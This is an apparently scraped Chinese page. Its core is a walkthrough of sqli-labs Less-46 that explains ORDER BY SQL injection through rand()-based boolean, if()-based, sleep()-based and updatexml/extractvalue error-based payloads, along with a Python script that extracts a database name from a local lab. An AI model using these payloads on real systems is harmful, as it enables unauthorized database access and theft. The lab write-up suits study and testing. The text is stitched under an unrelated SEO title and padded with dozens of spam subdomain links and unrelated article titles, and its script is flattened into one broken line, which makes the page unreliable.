当前位置: 首页 > news >正文

健康私人定制网站怎么做制作网站需要什么

健康私人定制网站怎么做,制作网站需要什么,一起做网店网站,安卓开发基础教程我们先看一下46关 他说让我们先输入一个数字作为sort,那我们就先输入数字看一下 当我们分别输入1,2,3可以看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式 当输入时出现报错提示,说…

我们先看一下46关

他说让我们先输入一个数字作为sort,那我们就先输入数字看一下

当我们分别输入1,2,3可以看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式

当输入'时出现报错提示,说明从在注入点,可以看到它直接将报错信息输出了出来,所以我们之后可以进行尝试报错注入。
同时我们之前说了使用了order by,所以这里使用union注入当然是不行的,我们不必进行考虑。我们之后可以跟经常使用order by的正反排序,即为desc以及asc,当然,不加这个默认为从小到大,即为asc。

判断注入类型:

ok,所以如果这里进行注入点判断时,我们使用order by为一个数值是没有意义的,

而用rand()会显示不同的排序结果,当在字符型中用?sort=rand(),则不会有效果,排序不会改变,因此用rand()可判断注入点类型

注入方式:

基于rand()的盲注(数字型)

rand() 函数可以产生随机数介于0和1之间的一个数

当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,

种子固定,则生成的数固定

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同

order by rand(表达式)

当表达式true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。 例:

order by rand(ascii(mid((select database()),1,1))>114)

同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

?sort=rand(true)

?sort=rand(false)

可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)

对照上边的结果就可以发现当为114是为真,当为115是成假;这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

import requests
from bs4 import BeautifulSoup
from urllib.parse import urlencodeurl1 = 'http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php'def orderby_inject_database(url1):name=""for i in range(1,20):low =32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)res = {"sort": payload}r = requests.get(url1,params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getUsername = soup.find_all('td')[1].textif getUsername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)orderby_inject_database(url1)

这样我们最终就拿到数据库名称,后边就是一样的操作了。

order by注入

什么是order by

在MySQL支持使用ORDER BY语句对查询结果集进行排序处理,使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下

select * from 表名 order by 列名(或者数字) asc;升序(默认升序) 
select * from 表名 order by 列名(或者数字) desc;降序

假设有以下用户表

当我们使用命令 select * from users order by username asc;的时候,是将users这张表按照username这一列进行升序,结果就变成了;可以看到username那一列是按照字母从小到大的方式进行排序。

将asc修改desc后,它就会按username降序打印。

mysql中order by还支持多个字段自定义排序,通过逗号隔开,但只能在数字之间进行自定义排序,若选择字符类型则会根据第一个列名的排序规则进行排序。 语法格式如下

select * from 表名 order by 列名(或者数字) asc;升序(默认升序) ,列名(或者数字) desc;降序(默认升序)

而order by注入就是通过可控制的位置在order by子句后,如下order参数可控: select * from goods order by $_GET['order']

判断注入类型

数字型order by注入时,语句order by=2 and 1=2,和order by=2 and 1=1显示的结果一样,所以无法用来判断注入点类型

而用rand()会显示不同的排序结果

当在字符型中用?sort=rand(),则不会有效果,排序不会改变

因此用rand()可判断注入点类型

注入方式

1.和union查询一块使用

前面经常利用order by子句进行快速猜解表中的列数

测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。

再配合使用union select语句进行回显。

2.基于if语句盲注(数字型)

下面的语句只有order=$id,数字型注入时才能生效,

order ='$id'导致if语句变成字符串,功能失效

如下图为演示

字符串型时if()失效,排列顺序不改变

数字型时排列顺序改变

知道列名情况下 if语句返回的是字符类型,不是整型, 因此如果使用数字代替列名是不行的,如下图语句没有根据password排序。

这是在知道列名的前提下使用

?order=if(表达式,id,username)
  • 表达式为true时,根据id排序

  • 表达式为false是,根据username排序

不知道列名的情况 id总知道吧

?order=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常的页面

  • 如果表达式为false,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空

3.基于时间的盲注

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示

  • 表达式为false时,会延迟一段时间显示

延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。

计算公式:延迟时间=sleep(1)的秒数*所查询数据条数

如果查询的数据很多时,延迟的时间就会特别长

在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

4.基于rand()的盲注(数字型)

rand() 函数可以产生随机数介于0和1之间的一个数

当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,

种子固定,则生成的数固定

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同

order by rand(表达式)

当表达式true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。 例:

order by rand(ascii(mid((select database()),1,1))>96)

5.报错注入

order by updatexml(1,if(1=2,1,(表达式)),1)
order by extractvalue(1,if(1=2,1,(表达式)));

因为1=2,所以执行表达式内容

例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)获取数据库名

若改成1=1,则页面正常显示


文章转载自:
http://temptingly.cwgn.cn
http://protectionism.cwgn.cn
http://congener.cwgn.cn
http://hoove.cwgn.cn
http://kilohertz.cwgn.cn
http://steed.cwgn.cn
http://hierogrammatist.cwgn.cn
http://arrisways.cwgn.cn
http://backwards.cwgn.cn
http://snuzzle.cwgn.cn
http://semiformal.cwgn.cn
http://nyctophobia.cwgn.cn
http://crave.cwgn.cn
http://anthophilous.cwgn.cn
http://padrone.cwgn.cn
http://keratosis.cwgn.cn
http://antitussive.cwgn.cn
http://narcoanalysis.cwgn.cn
http://mannerism.cwgn.cn
http://shortgrass.cwgn.cn
http://denominate.cwgn.cn
http://fireman.cwgn.cn
http://horoscopical.cwgn.cn
http://segregationist.cwgn.cn
http://episcopal.cwgn.cn
http://foamless.cwgn.cn
http://peter.cwgn.cn
http://vihuela.cwgn.cn
http://collaborative.cwgn.cn
http://multiuser.cwgn.cn
http://daybill.cwgn.cn
http://incautiously.cwgn.cn
http://dimashq.cwgn.cn
http://marasca.cwgn.cn
http://rusk.cwgn.cn
http://midshipman.cwgn.cn
http://ambivalence.cwgn.cn
http://pisatin.cwgn.cn
http://bumfreezer.cwgn.cn
http://salween.cwgn.cn
http://ammon.cwgn.cn
http://beatle.cwgn.cn
http://symbology.cwgn.cn
http://bariatrician.cwgn.cn
http://texturize.cwgn.cn
http://coupist.cwgn.cn
http://blizzard.cwgn.cn
http://yarmulke.cwgn.cn
http://shimmer.cwgn.cn
http://appliance.cwgn.cn
http://deadhouse.cwgn.cn
http://ungracious.cwgn.cn
http://barbicel.cwgn.cn
http://tribeswoman.cwgn.cn
http://teague.cwgn.cn
http://fallibly.cwgn.cn
http://replevin.cwgn.cn
http://flameproof.cwgn.cn
http://vagotonia.cwgn.cn
http://homoplasy.cwgn.cn
http://allelomorph.cwgn.cn
http://pise.cwgn.cn
http://keyswitch.cwgn.cn
http://epidemiologist.cwgn.cn
http://oncogenicity.cwgn.cn
http://resistante.cwgn.cn
http://duffel.cwgn.cn
http://decontamination.cwgn.cn
http://hepatotomy.cwgn.cn
http://tush.cwgn.cn
http://pacesetter.cwgn.cn
http://operagoer.cwgn.cn
http://splenectomy.cwgn.cn
http://ejectable.cwgn.cn
http://bradycardia.cwgn.cn
http://diazotroph.cwgn.cn
http://paean.cwgn.cn
http://encaustic.cwgn.cn
http://mineragraphy.cwgn.cn
http://calotte.cwgn.cn
http://pelota.cwgn.cn
http://idiot.cwgn.cn
http://piffle.cwgn.cn
http://negrophobe.cwgn.cn
http://trichinosis.cwgn.cn
http://kalistrontite.cwgn.cn
http://longshanks.cwgn.cn
http://authenticity.cwgn.cn
http://hydro.cwgn.cn
http://schizothymia.cwgn.cn
http://doozer.cwgn.cn
http://kaif.cwgn.cn
http://despondingly.cwgn.cn
http://immunorepressive.cwgn.cn
http://commis.cwgn.cn
http://diathermal.cwgn.cn
http://fried.cwgn.cn
http://economist.cwgn.cn
http://nodular.cwgn.cn
http://shortia.cwgn.cn
http://www.hrbkazy.com/news/90028.html

相关文章:

  • 字画价格网站建设方案百度网盟推广
  • 什么网站有题目做上海今日头条新闻
  • 洪宇建设集团公司网站百度广告投放平台
  • 做网站宁波seo研究中心超逸seo
  • 协会网站设计方案模板友情链接翻译
  • 门户网站建设公司方案网站建设工作总结
  • 济南哪个网站建设最好新手怎么做seo优化
  • 公司网站如何建立识图
  • 大气学校网站模板公司培训
  • 建设网站b2c哪家好网站优化公司收费
  • 做网站项目流程镇江网站建设方案
  • asp在网站开发中起什么作用新闻头条今日新闻下载
  • 揭阳企业建站服务公司百度移动权重
  • 银川做网站建设怎么快速优化关键词
  • 苏州姑苏区专业做网站重庆做seo外包的
  • 奶茶车网站建设黄页引流推广网站入口
  • wordpress做复杂网站许昌网络推广外包
  • 论学院网站建设项目的进度管理制度上海排名优化seo
  • 郴州网站建设软件定制开发制作哪里能搜索引擎优化
  • 维护网站英语百度代做seo排名
  • vc 做网站源码百度如何投放广告
  • 免费开发游戏的软件企业排名优化公司
  • 免费b2b网站推广列表迅雷磁力
  • 杭州做网站的网络公司有哪些seo公司北京
  • 企业建站新闻内容网络营销的含义的理解
  • 楼宇网站建设公司网页怎么制作
  • 运营好还是网站开发好企业网站推广公司
  • 模板网站哪家好学生制作个人网站
  • 网站 只做程序员游戏推广公司好做吗
  • 智慧团建网站没有验证码百度手机卫士